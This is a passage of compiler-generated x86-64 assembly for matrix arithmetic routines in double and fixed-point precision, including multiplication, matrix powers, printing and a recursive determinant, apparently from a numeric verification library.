sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -48[rbp]
add rdx, rax
addsd xmm0, xmm1
mov eax, DWORD PTR -4[rbp]
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -4[rbp], 1
.L248:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -24[rbp]
jb .L249
add DWORD PTR -8[rbp], 1
.L247:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -20[rbp]
jb .L250
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE51:
.size double_add_matrix, .-double_add_matrix
.globl double_sub_matrix
.type double_sub_matrix, @function
double_sub_matrix:
.LFB52:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
mov QWORD PTR -32[rbp], rdx
mov QWORD PTR -40[rbp], rcx
mov QWORD PTR -48[rbp], r8
mov DWORD PTR -8[rbp], 0
jmp .L252
.L255:
mov DWORD PTR -4[rbp], 0
jmp .L253
.L254:
mov eax, DWORD PTR -8[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
movsd xmm0, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -8[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -40[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
movsd xmm1, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -8[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -48[rbp]
add rdx, rax
subsd xmm0, xmm1
mov eax, DWORD PTR -4[rbp]
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -4[rbp], 1
.L253:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -24[rbp]
jb .L254
add DWORD PTR -8[rbp], 1
.L252:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -20[rbp]
jb .L255
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE52:
.size double_sub_matrix, .-double_sub_matrix
.section .rodata
.align 8
.LC25:
.string "\nError! Operation invalid, please enter with valid matrices."
.text
.globl double_matrix_multiplication
.type double_matrix_multiplication, @function
double_matrix_multiplication:
.LFB53:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov DWORD PTR -36[rbp], edi
mov DWORD PTR -40[rbp], esi
mov DWORD PTR -44[rbp], edx
mov DWORD PTR -48[rbp], ecx
mov QWORD PTR -56[rbp], r8
mov QWORD PTR -64[rbp], r9
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -44[rbp]
jne .L257
mov DWORD PTR -20[rbp], 0
jmp .L258
.L261:
mov DWORD PTR -16[rbp], 0
jmp .L259
.L260:
mov eax, DWORD PTR -20[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR 16[rbp]
add rdx, rax
mov eax, DWORD PTR -16[rbp]
pxor xmm0, xmm0
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -16[rbp], 1
.L259:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -48[rbp]
jb .L260
add DWORD PTR -20[rbp], 1
.L258:
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -36[rbp]
jb .L261
mov DWORD PTR -20[rbp], 0
jmp .L262
.L267:
mov DWORD PTR -16[rbp], 0
jmp .L263
.L266:
mov DWORD PTR -12[rbp], 0
jmp .L264
.L265:
mov eax, DWORD PTR -20[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -56[rbp]
add rdx, rax
mov eax, DWORD PTR -12[rbp]
movsd xmm1, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -12[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -64[rbp]
add rdx, rax
mov eax, DWORD PTR -16[rbp]
movsd xmm0, QWORD PTR [rdx+rax*8]
mulsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
mov eax, DWORD PTR -20[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR 16[rbp]
add rdx, rax
mov eax, DWORD PTR -16[rbp]
movsd xmm1, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -20[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -56[rbp]
add rdx, rax
mov eax, DWORD PTR -12[rbp]
movsd xmm2, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -12[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -64[rbp]
add rdx, rax
mov eax, DWORD PTR -16[rbp]
movsd xmm0, QWORD PTR [rdx+rax*8]
mulsd xmm0, xmm2
mov eax, DWORD PTR -20[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR 16[rbp]
add rdx, rax
addsd xmm0, xmm1
mov eax, DWORD PTR -16[rbp]
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -12[rbp], 1
.L264:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -40[rbp]
jb .L265
add DWORD PTR -16[rbp], 1
.L263:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -48[rbp]
jb .L266
add DWORD PTR -20[rbp], 1
.L262:
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -36[rbp]
jb .L267
jmp .L269
.L257:
lea rdi, .LC25[rip]
call puts@PLT
.L269:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE53:
.size double_matrix_multiplication, .-double_matrix_multiplication
.globl fxp_matrix_multiplication
.type fxp_matrix_multiplication, @function
fxp_matrix_multiplication:
.LFB54:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 56
.cfi_offset 3, -24
mov DWORD PTR -36[rbp], edi
mov DWORD PTR -40[rbp], esi
mov DWORD PTR -44[rbp], edx
mov DWORD PTR -48[rbp], ecx
mov QWORD PTR -56[rbp], r8
mov QWORD PTR -64[rbp], r9
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -44[rbp]
jne .L271
mov DWORD PTR -28[rbp], 0
jmp .L272
.L275:
mov DWORD PTR -24[rbp], 0
jmp .L273
.L274:
mov eax, DWORD PTR -28[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR 16[rbp]
add rdx, rax
mov eax, DWORD PTR -24[rbp]
mov QWORD PTR [rdx+rax*8], 0
add DWORD PTR -24[rbp], 1
.L273:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -48[rbp]
jb .L274
add DWORD PTR -28[rbp], 1
.L272:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -36[rbp]
jb .L275
mov DWORD PTR -28[rbp], 0
jmp .L276
.L281:
mov DWORD PTR -24[rbp], 0
jmp .L277
.L280:
mov DWORD PTR -20[rbp], 0
jmp .L278
.L279:
mov eax, DWORD PTR -20[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -64[rbp]
add rdx, rax
mov eax, DWORD PTR -24[rbp]
mov rdx, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -28[rbp]
sal rax, 5
mov rcx, rax
mov rax, QWORD PTR -56[rbp]
add rcx, rax
mov eax, DWORD PTR -20[rbp]
mov rax, QWORD PTR [rcx+rax*8]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov eax, DWORD PTR -28[rbp]
sal rax, 5
mov rcx, rax
mov rax, QWORD PTR 16[rbp]
add rcx, rax
mov eax, DWORD PTR -24[rbp]
mov rax, QWORD PTR [rcx+rax*8]
mov ecx, DWORD PTR -28[rbp]
mov rsi, rcx
sal rsi, 5
mov rcx, QWORD PTR 16[rbp]
lea rbx, [rsi+rcx]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov edx, DWORD PTR -24[rbp]
mov QWORD PTR [rbx+rdx*8], rax
add DWORD PTR -20[rbp], 1
.L278:
mov eax, DWORD PTR -20[rbp]
cmp eax, DWORD PTR -40[rbp]
jb .L279
add DWORD PTR -24[rbp], 1
.L277:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -48[rbp]
jb .L280
add DWORD PTR -28[rbp], 1
.L276:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -36[rbp]
jb .L281
jmp .L283
.L271:
lea rdi, .LC25[rip]
call puts@PLT
.L283:
nop
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE54:
.size fxp_matrix_multiplication, .-fxp_matrix_multiplication
.globl fxp_exp_matrix
.type fxp_exp_matrix, @function
fxp_exp_matrix:
.LFB55:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 200
.cfi_offset 3, -24
mov DWORD PTR -180[rbp], edi
mov DWORD PTR -184[rbp], esi
mov QWORD PTR -192[rbp], rdx
mov DWORD PTR -196[rbp], ecx
mov QWORD PTR -208[rbp], r8
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
cmp DWORD PTR -196[rbp], 0
jne .L285
mov DWORD PTR -176[rbp], 0
jmp .L286
.L291:
mov DWORD PTR -172[rbp], 0
jmp .L287
.L290:
mov eax, DWORD PTR -176[rbp]
cmp eax, DWORD PTR -172[rbp]
jne .L288
mov eax, DWORD PTR -176[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -208[rbp]
lea rbx, [rdx+rax]
mov rax, QWORD PTR .LC7[rip]
movq xmm0, rax
call fxp_double_to_fxp
mov edx, DWORD PTR -172[rbp]
mov QWORD PTR [rbx+rdx*8], rax
jmp .L289
.L288:
mov eax, DWORD PTR -176[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -208[rbp]
add rdx, rax
mov eax, DWORD PTR -172[rbp]
mov QWORD PTR [rdx+rax*8], 0
.L289:
add DWORD PTR -172[rbp], 1
.L287:
mov eax, DWORD PTR -172[rbp]
cmp eax, DWORD PTR -184[rbp]
jb .L290
add DWORD PTR -176[rbp], 1
.L286:
mov eax, DWORD PTR -176[rbp]
cmp eax, DWORD PTR -180[rbp]
jb .L291
jmp .L284
.L285:
mov DWORD PTR -176[rbp], 0
jmp .L293
.L296:
mov DWORD PTR -172[rbp], 0
jmp .L294
.L295:
mov eax, DWORD PTR -176[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -192[rbp]
add rdx, rax
mov eax, DWORD PTR -176[rbp]
sal rax, 5
mov rcx, rax
mov rax, QWORD PTR -208[rbp]
add rcx, rax
mov eax, DWORD PTR -172[rbp]
mov rdx, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -172[rbp]
mov QWORD PTR [rcx+rax*8], rdx
add DWORD PTR -172[rbp], 1
.L294:
mov eax, DWORD PTR -172[rbp]
cmp eax, DWORD PTR -184[rbp]
jb .L295
add DWORD PTR -176[rbp], 1
.L293:
mov eax, DWORD PTR -176[rbp]
cmp eax, DWORD PTR -180[rbp]
jb .L296
cmp DWORD PTR -196[rbp], 1
je .L316
mov DWORD PTR -168[rbp], 1
jmp .L298
.L313:
mov DWORD PTR -176[rbp], 0
jmp .L299
.L302:
mov DWORD PTR -172[rbp], 0
jmp .L300
.L301:
mov eax, DWORD PTR -176[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -208[rbp]
add rdx, rax
mov eax, DWORD PTR -172[rbp]
mov rax, QWORD PTR [rdx+rax*8]
mov ecx, DWORD PTR -172[rbp]
mov edx, DWORD PTR -176[rbp]
sal rdx, 2
add rdx, rcx
mov QWORD PTR -160[rbp+rdx*8], rax
add DWORD PTR -172[rbp], 1
.L300:
mov eax, DWORD PTR -172[rbp]
cmp eax, DWORD PTR -184[rbp]
jb .L301
add DWORD PTR -176[rbp], 1
.L299:
mov eax, DWORD PTR -176[rbp]
cmp eax, DWORD PTR -180[rbp]
jb .L302
mov DWORD PTR -176[rbp], 0
jmp .L303
.L306:
mov DWORD PTR -172[rbp], 0
jmp .L304
.L305:
mov eax, DWORD PTR -176[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -208[rbp]
add rdx, rax
mov eax, DWORD PTR -172[rbp]
mov QWORD PTR [rdx+rax*8], 0
add DWORD PTR -172[rbp], 1
.L304:
mov eax, DWORD PTR -172[rbp]
cmp eax, DWORD PTR -184[rbp]
jb .L305
add DWORD PTR -176[rbp], 1
.L303:
mov eax, DWORD PTR -176[rbp]
cmp eax, DWORD PTR -180[rbp]
jb .L306
mov DWORD PTR -176[rbp], 0
jmp .L307
.L312:
mov DWORD PTR -172[rbp], 0
jmp .L308
.L311:
mov DWORD PTR -164[rbp], 0
jmp .L309
.L310:
mov eax, DWORD PTR -164[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -192[rbp]
add rdx, rax
mov eax, DWORD PTR -172[rbp]
mov rdx, QWORD PTR [rdx+rax*8]
mov ecx, DWORD PTR -164[rbp]
mov eax, DWORD PTR -176[rbp]
sal rax, 2
add rax, rcx
mov rax, QWORD PTR -160[rbp+rax*8]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov eax, DWORD PTR -176[rbp]
sal rax, 5
mov rcx, rax
mov rax, QWORD PTR -208[rbp]
add rcx, rax
mov eax, DWORD PTR -172[rbp]
mov rax, QWORD PTR [rcx+rax*8]
mov ecx, DWORD PTR -176[rbp]
mov rsi, rcx
sal rsi, 5
mov rcx, QWORD PTR -208[rbp]
lea rbx, [rsi+rcx]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov edx, DWORD PTR -172[rbp]
mov QWORD PTR [rbx+rdx*8], rax
add DWORD PTR -164[rbp], 1
.L309:
mov eax, DWORD PTR -164[rbp]
cmp eax, DWORD PTR -184[rbp]
jb .L310
add DWORD PTR -172[rbp], 1
.L308:
mov eax, DWORD PTR -172[rbp]
cmp eax, DWORD PTR -184[rbp]
jb .L311
add DWORD PTR -176[rbp], 1
.L307:
mov eax, DWORD PTR -176[rbp]
cmp eax, DWORD PTR -180[rbp]
jb .L312
add DWORD PTR -168[rbp], 1
.L298:
mov eax, DWORD PTR -168[rbp]
cmp eax, DWORD PTR -196[rbp]
jb .L313
jmp .L284
.L316:
nop
.L284:
mov rax, QWORD PTR -24[rbp]
sub rax, QWORD PTR fs:40
je .L315
call __stack_chk_fail@PLT
.L315:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE55:
.size fxp_exp_matrix, .-fxp_exp_matrix
.globl double_exp_matrix
.type double_exp_matrix, @function
double_exp_matrix:
.LFB56:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 192
mov DWORD PTR -164[rbp], edi
mov DWORD PTR -168[rbp], esi
mov QWORD PTR -176[rbp], rdx
mov DWORD PTR -180[rbp], ecx
mov QWORD PTR -192[rbp], r8
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
cmp DWORD PTR -180[rbp], 0
jne .L318
mov DWORD PTR -160[rbp], 0
jmp .L319
.L324:
mov DWORD PTR -156[rbp], 0
jmp .L320
.L323:
mov eax, DWORD PTR -160[rbp]
cmp eax, DWORD PTR -156[rbp]
jne .L321
mov eax, DWORD PTR -160[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -192[rbp]
add rdx, rax
mov eax, DWORD PTR -156[rbp]
movsd xmm0, QWORD PTR .LC7[rip]
movsd QWORD PTR [rdx+rax*8], xmm0
jmp .L322
.L321:
mov eax, DWORD PTR -160[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -192[rbp]
add rdx, rax
mov eax, DWORD PTR -156[rbp]
pxor xmm0, xmm0
movsd QWORD PTR [rdx+rax*8], xmm0
.L322:
add DWORD PTR -156[rbp], 1
.L320:
mov eax, DWORD PTR -156[rbp]
cmp eax, DWORD PTR -168[rbp]
jb .L323
add DWORD PTR -160[rbp], 1
.L319:
mov eax, DWORD PTR -160[rbp]
cmp eax, DWORD PTR -164[rbp]
jb .L324
jmp .L317
.L318:
mov DWORD PTR -160[rbp], 0
jmp .L326
.L329:
mov DWORD PTR -156[rbp], 0
jmp .L327
.L328:
mov eax, DWORD PTR -160[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -176[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -160[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -192[rbp]
add rdx, rax
mov eax, DWORD PTR -156[rbp]
movsd xmm0, QWORD PTR [rcx+rax*8]
mov eax, DWORD PTR -156[rbp]
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -156[rbp], 1
.L327:
mov eax, DWORD PTR -156[rbp]
cmp eax, DWORD PTR -168[rbp]
jb .L328
add DWORD PTR -160[rbp], 1
.L326:
mov eax, DWORD PTR -160[rbp]
cmp eax, DWORD PTR -164[rbp]
jb .L329
cmp DWORD PTR -180[rbp], 1
je .L349
mov DWORD PTR -148[rbp], 1
jmp .L331
.L346:
mov DWORD PTR -160[rbp], 0
jmp .L332
.L335:
mov DWORD PTR -156[rbp], 0
jmp .L333
.L334:
mov eax, DWORD PTR -160[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -192[rbp]
add rdx, rax
mov eax, DWORD PTR -156[rbp]
movsd xmm0, QWORD PTR [rdx+rax*8]
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -160[rbp]
sal rax, 2
add rax, rdx
movsd QWORD PTR -144[rbp+rax*8], xmm0
add DWORD PTR -156[rbp], 1
.L333:
mov eax, DWORD PTR -156[rbp]
cmp eax, DWORD PTR -168[rbp]
jb .L334
add DWORD PTR -160[rbp], 1
.L332:
mov eax, DWORD PTR -160[rbp]
cmp eax, DWORD PTR -164[rbp]
jb .L335
mov DWORD PTR -160[rbp], 0
jmp .L336
.L339:
mov DWORD PTR -156[rbp], 0
jmp .L337
.L338:
mov eax, DWORD PTR -160[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -192[rbp]
add rdx, rax
mov eax, DWORD PTR -156[rbp]
pxor xmm0, xmm0
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -156[rbp], 1
.L337:
mov eax, DWORD PTR -156[rbp]
cmp eax, DWORD PTR -168[rbp]
jb .L338
add DWORD PTR -160[rbp], 1
.L336:
mov eax, DWORD PTR -160[rbp]
cmp eax, DWORD PTR -164[rbp]
jb .L339
mov DWORD PTR -160[rbp], 0
jmp .L340
.L345:
mov DWORD PTR -156[rbp], 0
jmp .L341
.L344:
mov DWORD PTR -152[rbp], 0
jmp .L342
.L343:
mov eax, DWORD PTR -160[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -192[rbp]
add rdx, rax
mov eax, DWORD PTR -156[rbp]
movsd xmm1, QWORD PTR [rdx+rax*8]
mov edx, DWORD PTR -152[rbp]
mov eax, DWORD PTR -160[rbp]
sal rax, 2
add rax, rdx
movsd xmm2, QWORD PTR -144[rbp+rax*8]
mov eax, DWORD PTR -152[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -176[rbp]
add rdx, rax
mov eax, DWORD PTR -156[rbp]
movsd xmm0, QWORD PTR [rdx+rax*8]
mulsd xmm0, xmm2
mov eax, DWORD PTR -160[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -192[rbp]
add rdx, rax
addsd xmm0, xmm1
mov eax, DWORD PTR -156[rbp]
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -152[rbp], 1
.L342:
mov eax, DWORD PTR -152[rbp]
cmp eax, DWORD PTR -168[rbp]
jb .L343
add DWORD PTR -156[rbp], 1
.L341:
mov eax, DWORD PTR -156[rbp]
cmp eax, DWORD PTR -168[rbp]
jb .L344
add DWORD PTR -160[rbp], 1
.L340:
mov eax, DWORD PTR -160[rbp]
cmp eax, DWORD PTR -164[rbp]
jb .L345
add DWORD PTR -148[rbp], 1
.L331:
mov eax, DWORD PTR -148[rbp]
cmp eax, DWORD PTR -180[rbp]
jb .L346
jmp .L317
.L349:
nop
.L317:
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L348
call __stack_chk_fail@PLT
.L348:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE56:
.size double_exp_matrix, .-double_exp_matrix
.globl fxp_add_matrix
.type fxp_add_matrix, @function
fxp_add_matrix:
.LFB57:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 48
.cfi_offset 3, -24
mov DWORD PTR -28[rbp], edi
mov DWORD PTR -32[rbp], esi
mov QWORD PTR -40[rbp], rdx
mov QWORD PTR -48[rbp], rcx
mov QWORD PTR -56[rbp], r8
mov DWORD PTR -16[rbp], 0
jmp .L351
.L354:
mov DWORD PTR -12[rbp], 0
jmp .L352
.L353:
mov eax, DWORD PTR -16[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -48[rbp]
add rdx, rax
mov eax, DWORD PTR -12[rbp]
mov rdx, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -16[rbp]
sal rax, 5
mov rcx, rax
mov rax, QWORD PTR -40[rbp]
add rcx, rax
mov eax, DWORD PTR -12[rbp]
mov rax, QWORD PTR [rcx+rax*8]
mov ecx, DWORD PTR -16[rbp]
mov rsi, rcx
sal rsi, 5
mov rcx, QWORD PTR -56[rbp]
lea rbx, [rsi+rcx]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov edx, DWORD PTR -12[rbp]
mov QWORD PTR [rbx+rdx*8], rax
add DWORD PTR -12[rbp], 1
.L352:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -32[rbp]
jb .L353
add DWORD PTR -16[rbp], 1
.L351:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -28[rbp]
jb .L354
nop
nop
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE57:
.size fxp_add_matrix, .-fxp_add_matrix
.globl fxp_sub_matrix
.type fxp_sub_matrix, @function
fxp_sub_matrix:
.LFB58:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 48
.cfi_offset 3, -24
mov DWORD PTR -28[rbp], edi
mov DWORD PTR -32[rbp], esi
mov QWORD PTR -40[rbp], rdx
mov QWORD PTR -48[rbp], rcx
mov QWORD PTR -56[rbp], r8
mov DWORD PTR -16[rbp], 0
jmp .L356
.L359:
mov DWORD PTR -12[rbp], 0
jmp .L357
.L358:
mov eax, DWORD PTR -16[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -48[rbp]
add rdx, rax
mov eax, DWORD PTR -12[rbp]
mov rdx, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -16[rbp]
sal rax, 5
mov rcx, rax
mov rax, QWORD PTR -40[rbp]
add rcx, rax
mov eax, DWORD PTR -12[rbp]
mov rax, QWORD PTR [rcx+rax*8]
mov ecx, DWORD PTR -16[rbp]
mov rsi, rcx
sal rsi, 5
mov rcx, QWORD PTR -56[rbp]
lea rbx, [rsi+rcx]
mov rsi, rdx
mov rdi, rax
call fxp_sub
mov edx, DWORD PTR -12[rbp]
mov QWORD PTR [rbx+rdx*8], rax
add DWORD PTR -12[rbp], 1
.L357:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -32[rbp]
jb .L358
add DWORD PTR -16[rbp], 1
.L356:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -28[rbp]
jb .L359
nop
nop
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE58:
.size fxp_sub_matrix, .-fxp_sub_matrix
.section .rodata
.align 8
.LC26:
.string "\nMatrix\n=====================\n"
.LC27:
.string "#matrix[%d][%d]: %2.2f "
.text
.globl print_matrix
.type print_matrix, @function
print_matrix:
.LFB59:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -32[rbp], edx
lea rdi, .LC26[rip]
call puts@PLT
mov DWORD PTR -8[rbp], 0
jmp .L361
.L364:
mov DWORD PTR -4[rbp], 0
jmp .L362
.L363:
mov eax, DWORD PTR -8[rbp]
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
mov rcx, QWORD PTR [rdx+rax*8]
mov edx, DWORD PTR -4[rbp]
mov eax, DWORD PTR -8[rbp]
movq xmm0, rcx
mov esi, eax
lea rdi, .LC27[rip]
mov eax, 1
call printf@PLT
add DWORD PTR -4[rbp], 1
.L362:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -32[rbp]
jb .L363
mov edi, 10
call putchar@PLT
add DWORD PTR -8[rbp], 1
.L361:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -28[rbp]
jb .L364
mov edi, 10
call putchar@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE59:
.size print_matrix, .-print_matrix
.globl determinant
.type determinant, @function
determinant:
.LFB60:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 208
mov QWORD PTR -184[rbp], rdi
mov DWORD PTR -188[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
pxor xmm0, xmm0
movsd QWORD PTR -152[rbp], xmm0
cmp DWORD PTR -188[rbp], 0
jle .L366
cmp DWORD PTR -188[rbp], 1
jne .L367
mov rax, QWORD PTR -184[rbp]
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -152[rbp], xmm0
jmp .L366
.L367:
cmp DWORD PTR -188[rbp], 2
jne .L368
mov rax, QWORD PTR -184[rbp]
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -184[rbp]
add rax, 32
movsd xmm0, QWORD PTR 8[rax]
mulsd xmm0, xmm1
mov rax, QWORD PTR -184[rbp]
add rax, 32
movsd xmm2, QWORD PTR [rax]
mov rax, QWORD PTR -184[rbp]
movsd xmm1, QWORD PTR 8[rax]
mulsd xmm1, xmm2
subsd xmm0, xmm1
movsd QWORD PTR -152[rbp], xmm0
jmp .L366
.L368:
pxor xmm0, xmm0
movsd QWORD PTR -152[rbp], xmm0
mov DWORD PTR -160[rbp], 0
jmp .L369
.L378:
mov DWORD PTR -168[rbp], 0
jmp .L370
.L377:
mov DWORD PTR -168[rbp], 1
jmp .L371
.L376:
mov DWORD PTR -156[rbp], 0
mov DWORD PTR -164[rbp], 0
jmp .L372
.L375:
mov eax, DWORD PTR -164[rbp]
cmp eax, DWORD PTR -160[rbp]
je .L381
mov eax, DWORD PTR -168[rbp]
cdqe
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -184[rbp]
add rdx, rax
mov eax, DWORD PTR -168[rbp]
lea ecx, -1[rax]
mov eax, DWORD PTR -164[rbp]
cdqe
movsd xmm0, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -156[rbp]
movsx rdx, eax
movsx rax, ecx
sal rax, 2
add rax, rdx
movsd QWORD PTR -144[rbp+rax*8], xmm0
add DWORD PTR -156[rbp], 1
jmp .L374
.L381:
nop
.L374:
add DWORD PTR -164[rbp], 1
.L372:
mov eax, DWORD PTR -164[rbp]
cmp eax, DWORD PTR -188[rbp]
jl .L375
add DWORD PTR -168[rbp], 1
.L371:
mov eax, DWORD PTR -168[rbp]
cmp eax, DWORD PTR -188[rbp]
jl .L376
add DWORD PTR -168[rbp], 1
.L370:
mov eax, DWORD PTR -188[rbp]
sub eax, 1
cmp DWORD PTR -168[rbp], eax
jl .L377
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -160[rbp]
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
mov rax, QWORD PTR .LC15[rip]
movapd xmm1, xmm0
movq xmm0, rax
call internal_pow
mov rax, QWORD PTR -184[rbp]
mov edx, DWORD PTR -160[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
mulsd xmm0, xmm1
movsd QWORD PTR -200[rbp], xmm0
mov eax, DWORD PTR -188[rbp]
lea edx, -1[rax]
lea rax, -144[rbp]
mov esi, edx
mov rdi, rax
call determinant
mulsd xmm0, QWORD PTR -200[rbp]
movsd xmm1, QWORD PTR -152[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -152[rbp], xmm0
add DWORD PTR -160[rbp], 1
.L369:
mov eax, DWORD PTR -160[rbp]
cmp eax, DWORD PTR -188[rbp]
jl .L378
.L366:
movsd xmm0, QWORD PTR -152[rbp]
movq rax, xmm0
